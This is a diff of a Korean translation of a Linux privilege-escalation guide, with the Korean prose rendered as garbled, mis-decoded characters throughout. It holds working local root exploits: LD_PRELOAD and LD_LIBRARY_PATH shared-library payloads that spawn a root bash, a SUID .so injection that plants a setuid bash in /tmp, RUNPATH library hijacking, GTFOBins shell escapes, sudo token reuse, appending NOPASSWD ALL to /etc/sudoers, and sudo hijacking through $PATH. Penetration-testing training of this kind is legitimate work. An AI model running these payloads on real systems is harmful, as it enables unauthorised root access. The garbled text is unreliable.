์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์„ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์ „ ๋กœ๋“œ(preloading)๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -๊ทธ๋Ÿฌ๋‚˜ ์ด ๊ธฐ๋Šฅ์ด ์•…์šฉ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ณ  ์‹œ์Šคํ…œ ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด, ํŠนํžˆ **suid/sgid** ์‹คํ–‰ ํŒŒ์ผ๊ณผ ๊ด€๋ จํ•˜์—ฌ ์‹œ์Šคํ…œ์€ ๋ช‡ ๊ฐ€์ง€ ์กฐ๊ฑด์„ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค: +๊ทธ๋Ÿฌ๋‚˜ ์‹œ์Šคํ…œ ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๊ณ  ํŠนํžˆ **suid/sgid** ์‹คํ–‰ ํŒŒ์ผ์—์„œ ์ด ๊ธฐ๋Šฅ์ด ์•…์šฉ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์‹œ์Šคํ…œ์€ ๋ช‡ ๊ฐ€์ง€ ์กฐ๊ฑด์„ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค: -- real user ID (_ruid_)๊ฐ€ effective user ID (_euid_)์™€ ์ผ์น˜ํ•˜์ง€ ์•Š๋Š” ์‹คํ–‰ ํŒŒ์ผ์— ๋Œ€ํ•ด์„œ๋Š” loader๊ฐ€ **LD_PRELOAD**๋ฅผ ๋ฌด์‹œํ•ฉ๋‹ˆ๋‹ค. -- suid/sgid๊ฐ€ ์„ค์ •๋œ ์‹คํ–‰ ํŒŒ์ผ์˜ ๊ฒฝ์šฐ, ์‚ฌ์ „ ๋กœ๋“œ๋˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” ํ‘œ์ค€ ๊ฒฝ๋กœ์— ์žˆ๊ณ  ๋˜ํ•œ suid/sgid์ธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ๋งŒ ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. +- ๋กœ๋”๋Š” ์‹ค์ œ ์‚ฌ์šฉ์ž ID(_ruid_)๊ฐ€ ์œ ํšจ ์‚ฌ์šฉ์ž ID(_euid_)์™€ ์ผ์น˜ํ•˜์ง€ ์•Š๋Š” ์‹คํ–‰ ํŒŒ์ผ์— ๋Œ€ํ•ด **LD_PRELOAD**๋ฅผ ๋ฌด์‹œํ•ฉ๋‹ˆ๋‹ค. +- suid/sgid๊ฐ€ ์„ค์ •๋œ ์‹คํ–‰ ํŒŒ์ผ์˜ ๊ฒฝ์šฐ, suid/sgid๊ฐ€ ์„ค์ •๋œ ํ‘œ์ค€ ๊ฒฝ๋กœ์— ์žˆ๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋งŒ ์„ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. -Privilege escalation์€ `sudo`๋กœ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ณ  `sudo -l`์˜ ์ถœ๋ ฅ์— **env_keep+=LD_PRELOAD**๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ตฌ์„ฑ์€ `sudo`๋กœ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ๋•Œ๋„ **LD_PRELOAD** ํ™˜๊ฒฝ ๋ณ€์ˆ˜๊ฐ€ ์œ ์ง€๋˜๊ณ  ์ธ์‹๋˜๋„๋ก ํ—ˆ์šฉํ•˜๋ฏ€๋กœ, ๊ฒฐ๊ณผ์ ์œผ๋กœ ๊ถŒํ•œ์ด ์ƒ์Šน๋œ ์ƒํƒœ์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. +Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. ``` Defaults env_keep += LD_PRELOAD ``` -๋‹ค์Œ ์ด๋ฆ„์œผ๋กœ ์ €์žฅ: **/tmp/pe.c** +๋‹ค์Œ์œผ๋กœ ์ €์žฅ: **/tmp/pe.c** ```c #include #include @@ -864,17 +859,17 @@ setuid(0); system("/bin/bash"); } ``` -๊ทธ๋Ÿฐ ๋‹ค์Œ ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ **์ปดํŒŒ์ผํ•˜์„ธ์š”:** +๊ทธ๋Ÿฐ ๋‹ค์Œ ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ **์ปดํŒŒ์ผ**ํ•ฉ๋‹ˆ๋‹ค: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -๋งˆ์ง€๋ง‰์œผ๋กœ, **escalate privileges**๋ฅผ ์‹คํ–‰ํ•˜์—ฌ +๋งˆ์ง€๋ง‰์œผ๋กœ, **escalate privileges** ์‹คํ–‰ ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> ๋น„์Šทํ•œ privesc๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ **LD_LIBRARY_PATH** ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ œ์–ดํ•  ๊ฒฝ์šฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๊ทธ๊ฐ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ฒ€์ƒ‰ํ•  ๊ฒฝ๋กœ๋ฅผ ์ œ์–ดํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. +> ์œ ์‚ฌํ•œ privesc๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ **LD_LIBRARY_PATH** env variable์„ ์ œ์–ดํ•  ๊ฒฝ์šฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ฒ€์ƒ‰ํ•  ๊ฒฝ๋กœ๋ฅผ ์ œ์–ดํ•˜๊ฒŒ ๋œ๋‹ค. ```c #include #include @@ -896,13 +891,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary โ€“ .so injection -๋น„์ •์ƒ์ ์œผ๋กœ ๋ณด์ด๋Š” **SUID** ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด, ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ **.so** ํŒŒ์ผ์„ ์ œ๋Œ€๋กœ ๋กœ๋“œํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋น„์ •์ƒ์ ์œผ๋กœ ๋ณด์ด๋Š” **SUID** ๊ถŒํ•œ์„ ๊ฐ€์ง„ binary๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด, ํ•ด๋‹น binary๊ฐ€ **.so** ํŒŒ์ผ์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋กœ๋“œํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -์˜ˆ๋ฅผ ๋“ค์–ด, _"open(โ€œ/path/to/.config/libcalc.soโ€, O_RDONLY) = -1 ENOENT (No such file or directory)"_ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ์ž ์žฌ์ ์ธ exploit ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. +์˜ˆ๋ฅผ ๋“ค์–ด, _"open(โ€œ/path/to/.config/libcalc.soโ€, O_RDONLY) = -1 ENOENT (No such file or directory)"_ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ์ž ์žฌ์ ์ธ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ฐ€๋Šฅ์„ฑ์„ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค. -์ด๋ฅผ exploitํ•˜๋ ค๋ฉด _"/path/to/.config/libcalc.c"_ ๊ฐ™์€ C ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค: +์ด๋ฅผ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” C ํŒŒ์ผ, ์˜ˆ๋ฅผ ๋“ค์–ด _"/path/to/.config/libcalc.c"_, ๋ฅผ ์ƒ์„ฑํ•œ ๋‹ค์Œ ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ํฌํ•จ์‹œํ‚ค๋ฉด ๋ฉ๋‹ˆ๋‹ค: ```c #include #include @@ -913,13 +908,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -์ด ์ฝ”๋“œ๋Š” ์ปดํŒŒ์ผ๋˜์–ด ์‹คํ–‰๋˜๋ฉด ํŒŒ์ผ ๊ถŒํ•œ์„ ์กฐ์ž‘ํ•˜๊ณ  ๊ถŒํ•œ์ด ์ƒ์Šน๋œ shell์„ ์‹คํ–‰ํ•˜์—ฌ ๊ถŒํ•œ์„ ํš๋“ํ•˜๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค. +์ด ์ฝ”๋“œ๋Š” ์ปดํŒŒ์ผ๋˜์–ด ์‹คํ–‰๋˜๋ฉด ํŒŒ์ผ ๊ถŒํ•œ์„ ์กฐ์ž‘ํ•˜๊ณ  ๊ถŒํ•œ์ด ์ƒ์Šน๋œ ์…ธ์„ ์‹คํ–‰ํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. -์œ„์˜ C ํŒŒ์ผ์„ shared object (.so) ํŒŒ์ผ๋กœ ์ปดํŒŒ์ผํ•˜๋ ค๋ฉด: +์œ„์˜ C ํŒŒ์ผ์„ ๊ณต์œ  ๊ฐ์ฒด(.so) ํŒŒ์ผ๋กœ ์ปดํŒŒ์ผํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์„ธ์š”: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -๋งˆ์ง€๋ง‰์œผ๋กœ, ์˜ํ–ฅ์„ ๋ฐ›์€ SUID binary๋ฅผ ์‹คํ–‰ํ•˜๋ฉด exploit๊ฐ€ ๋ฐœ๋™ํ•˜์—ฌ ์ž ์žฌ์ ์œผ๋กœ ์‹œ์Šคํ…œ ์นจํ•ด๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋งˆ์ง€๋ง‰์œผ๋กœ, ์˜ํ–ฅ์„ ๋ฐ›์€ SUID binary๋ฅผ ์‹คํ–‰ํ•˜๋ฉด exploit์ด ํŠธ๋ฆฌ๊ฑฐ๋˜์–ด ์ž ์žฌ์ ์œผ๋กœ system compromise๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ## Shared Object Hijacking ```bash @@ -931,7 +926,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -์ด์ œ ์šฐ๋ฆฌ๊ฐ€ ์“ธ ์ˆ˜ ์žˆ๋Š” folder์—์„œ library๋ฅผ ๋กœ๋“œํ•˜๋Š” SUID binary๋ฅผ ์ฐพ์•˜์œผ๋ฏ€๋กœ, ํ•ด๋‹น folder์— ํ•„์š”ํ•œ ์ด๋ฆ„์œผ๋กœ library๋ฅผ ์ƒ์„ฑํ•ฉ์‹œ๋‹ค: +์ด์ œ ์šฐ๋ฆฌ๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋”์—์„œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๋Š” SUID binary๋ฅผ ์ฐพ์•˜์œผ๋‹ˆ, ํ•ด๋‹น ํด๋”์— ํ•„์š”ํ•œ ์ด๋ฆ„์œผ๋กœ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•ฉ์‹œ๋‹ค: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -952,9 +947,9 @@ that means that the library you have generated need to have a function called `a ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๋กœ์ปฌ ๋ณด์•ˆ ์ œํ•œ์„ ์šฐํšŒํ•˜๋Š” ๋ฐ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” Unix ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์„ ๋ณ„ ๋ชฉ๋ก์ž…๋‹ˆ๋‹ค. [**GTFOArgs**](https://gtfoargs.github.io/) ๋Š” ๋ช…๋ น์— **์ธ์ž๋งŒ ์ฃผ์ž…**ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ์— ๋Œ€ํ•ด ๋™์ผํ•œ ์šฉ๋„๋กœ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. +[**GTFOBins**](https://gtfobins.github.io) ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๋กœ์ปฌ ๋ณด์•ˆ ์ œํ•œ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” Unix ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ํ๋ ˆ์ด์…˜๋œ ๋ชฉ๋ก์ž…๋‹ˆ๋‹ค. [**GTFOArgs**](https://gtfoargs.github.io/) ๋Š” ๋ช…๋ น์— **์ธ์ž๋งŒ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋Š”** ๊ฒฝ์šฐ๋ฅผ ์œ„ํ•œ ๋™์ผํ•œ ๋ฆฌ์†Œ์Šค์ž…๋‹ˆ๋‹ค. -The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. +์ด ํ”„๋กœ์ ํŠธ๋Š” ์ œํ•œ๋œ ์…ธ์„ ํƒˆ์ถœํ•˜๊ณ , ๊ถŒํ•œ์„ ์ƒ์Šนํ•˜๊ฑฐ๋‚˜ ์œ ์ง€ํ•˜๊ณ , ํŒŒ์ผ์„ ์ „์†กํ•˜๊ณ , bind and reverse shells ๋ฅผ ์ƒ์„ฑํ•˜๋ฉฐ, ๊ธฐํƒ€ post-exploitation ์ž‘์—…์„ ์šฉ์ดํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋„๋ก ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š” Unix ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ •๋‹นํ•œ ๊ธฐ๋Šฅ๋“ค์„ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -996,32 +991,32 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **๋‘ ๋ฒˆ์งธ exploit** (`exploit_v2.sh`)๋Š” _/tmp_์— sh shell์„ ์ƒ์„ฑํ•˜์—ฌ **root ์†Œ์œ ์ด๋ฉฐ setuid๊ฐ€ ์„ค์ •๋œ** ์ƒํƒœ๋กœ ๋งŒ๋“ ๋‹ค +- **๋‘ ๋ฒˆ์งธ exploit** (`exploit_v2.sh`)๋Š” _/tmp_์— **root๊ฐ€ ์†Œ์œ ํ•˜๊ณ  setuid๊ฐ€ ์„ค์ •๋œ** sh shell์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **์„ธ ๋ฒˆ์งธ exploit** (`exploit_v3.sh`)๋Š” **sudoers file**์„ ์ƒ์„ฑํ•˜์—ฌ **sudo tokens๋ฅผ ์˜๊ตฌํ™”ํ•˜๊ณ  ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ sudo๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค** +- **์„ธ ๋ฒˆ์งธ exploit** (`exploit_v3.sh`)์€ **sudoers ํŒŒ์ผ์„ ์ƒ์„ฑ**ํ•˜์—ฌ **sudo tokens์„ ์˜๊ตฌํ™”ํ•˜๊ณ  ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ sudo๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -ํด๋” ๋˜๋Š” ๊ทธ ์•ˆ์— ์ƒ์„ฑ๋œ ํŒŒ์ผ๋“ค ์ค‘ ์–ด๋А ๊ฒƒ์—๋“  **์“ฐ๊ธฐ ๊ถŒํ•œ**์ด ์žˆ๋‹ค๋ฉด, ๋ฐ”์ด๋„ˆ๋ฆฌ [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)๋ฅผ ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž์™€ PID์— ๋Œ€ํ•œ **sudo token์„ ์ƒ์„ฑ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -์˜ˆ๋ฅผ ๋“ค์–ด, ํŒŒ์ผ _/var/run/sudo/ts/sampleuser_์„ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๊ณ  ๊ทธ ์‚ฌ์šฉ์ž๋กœ์„œ PID 1234์ธ ์…ธ์ด ์žˆ๋‹ค๋ฉด, ์•”ํ˜ธ๋ฅผ ์•Œ ํ•„์š” ์—†์ด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์—ฌ **sudo privileges**๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +ํด๋”๋‚˜ ํด๋” ๋‚ด์— ์ƒ์„ฑ๋œ ํŒŒ์ผ๋“ค ์ค‘ ์–ด๋А ๊ฒƒ์— ๋Œ€ํ•ด๋“  **์“ฐ๊ธฐ ๊ถŒํ•œ**์ด ์žˆ๋‹ค๋ฉด, ๋ฐ”์ด๋„ˆ๋ฆฌ [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **์‚ฌ์šฉ์ž์™€ PID์— ๋Œ€ํ•œ sudo ํ† ํฐ์„ ์ƒ์„ฑ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +์˜ˆ๋ฅผ ๋“ค์–ด, ํŒŒ์ผ _/var/run/sudo/ts/sampleuser_๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๊ณ  ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ์„œ PID 1234๋ฅผ ๊ฐ€์ง„ ์…ธ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ ํ•„์š” ์—†์ด **sudo ๊ถŒํ•œ์„ ํš๋“**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์ด: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -ํŒŒ์ผ `/etc/sudoers` ๋ฐ `/etc/sudoers.d` ๋‚ด๋ถ€์˜ ํŒŒ์ผ๋“ค์€ ๋ˆ„๊ฐ€ `sudo`๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€์™€ ๊ทธ ์‚ฌ์šฉ ๋ฐฉ์‹์„ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ๋“ค์€ **๊ธฐ๋ณธ์ ์œผ๋กœ ์‚ฌ์šฉ์ž root์™€ ๊ทธ๋ฃน root๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.\ -**๋งŒ์•ฝ** ์ด ํŒŒ์ผ์„ **์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด** ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ **์–ป์„ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋ฉฐ**, ๊ทธ๋ฆฌ๊ณ  ๋งŒ์•ฝ ์–ด๋–ค ํŒŒ์ผ์— **์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด** ๋‹น์‹ ์€ **escalate privileges** ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํŒŒ์ผ `/etc/sudoers`์™€ `/etc/sudoers.d` ๋‚ด๋ถ€์˜ ํŒŒ์ผ๋“ค์€ ๋ˆ„๊ฐ€ `sudo`๋ฅผ ์–ด๋–ป๊ฒŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํŒŒ์ผ๋“ค์€ **๊ธฐ๋ณธ์ ์œผ๋กœ ์‚ฌ์šฉ์ž root์™€ ๊ทธ๋ฃน root๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.\ +**๋งŒ์•ฝ** ์ด ํŒŒ์ผ์„ **์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด** ๋ช‡ ๊ฐ€์ง€ **ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๊ณ **, ๊ทธ๋ฆฌ๊ณ  ๋งŒ์•ฝ ์–ด๋–ค ํŒŒ์ผ์„ **์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด** ๊ถŒํ•œ์„ **escalate privileges** ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ์ด ๊ถŒํ•œ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. +์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ์ด ๊ถŒํ•œ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1035,17 +1030,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD์šฉ `doas` ๋“ฑ `sudo` ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋Œ€์ฒดํ•˜๋Š” ๋ช‡ ๊ฐ€์ง€ ๋Œ€์•ˆ์ด ์žˆ์œผ๋‹ˆ, `/etc/doas.conf`์—์„œ ์„ค์ •์„ ํ™•์ธํ•˜์„ธ์š”. +`sudo` ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋Œ€์‹ ํ•  ์ˆ˜ ์žˆ๋Š” ๋ช‡ ๊ฐ€์ง€ ๋Œ€์•ˆ์ด ์žˆ์œผ๋ฉฐ, ์˜ˆ๋ฅผ ๋“ค์–ด OpenBSD์˜ `doas`๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์„ค์ •์€ `/etc/doas.conf`์—์„œ ํ™•์ธํ•˜์„ธ์š”. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -๋งŒ์•ฝ **์‚ฌ์šฉ์ž๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋จธ์‹ ์— ์ ‘์†ํ•ด `sudo`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚จ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ณ ** ๊ทธ๋ฆฌ๊ณ  ํ•ด๋‹น ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ ์‰˜์„ ํš๋“ํ–ˆ๋‹ค๋ฉด, ๋ฃจํŠธ๋กœ ๋‹น์‹ ์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ ๋‹ค์Œ ์‚ฌ์šฉ์ž์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” **์ƒˆ๋กœ์šด sudo ์‹คํ–‰ํŒŒ์ผ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์˜ **$PATH๋ฅผ ์ˆ˜์ •**(์˜ˆ: ์ƒˆ๋กœ์šด ๊ฒฝ๋กœ๋ฅผ `.bash_profile`์— ์ถ”๊ฐ€)ํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ sudo๋ฅผ ์‹คํ–‰ํ•  ๋•Œ ๋‹น์‹ ์˜ sudo ์‹คํ–‰ํŒŒ์ผ์ด ์‹คํ–‰๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. +๋งŒ์•ฝ ํ•œ **์‚ฌ์šฉ์ž๊ฐ€ ๋ณดํ†ต ๋จธ์‹ ์— ์ ‘์†ํ•˜์—ฌ `sudo`๋ฅผ ์‚ฌ์šฉ**ํ•˜๊ณ  ๊ทธ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ ์…ธ์„ ์–ป์—ˆ๋‹ค๋ฉด, **์ƒˆ๋กœ์šด sudo ์‹คํ–‰ํŒŒ์ผ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์ด ์‹คํ–‰ํŒŒ์ผ์€ ๋จผ์ € root๋กœ ๋‹น์‹ ์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ ๋’ค ์‚ฌ์šฉ์ž์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ **$PATH๋ฅผ ์ˆ˜์ •**(์˜ˆ: .bash_profile์— ์ƒˆ ๊ฒฝ๋กœ ์ถ”๊ฐ€)ํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ sudo๋ฅผ ์‹คํ–‰ํ•  ๋•Œ ๋‹น์‹ ์˜ sudo ์‹คํ–‰ํŒŒ์ผ์ด ์‹คํ–‰๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. -์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ ์‰˜ (not bash)์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ, ์ƒˆ ๊ฒฝ๋กœ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค๋ฅธ ํŒŒ์ผ๋“ค์„ ์ˆ˜์ •ํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ์˜ˆ๋ฅผ ๋“ค์–ด[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, 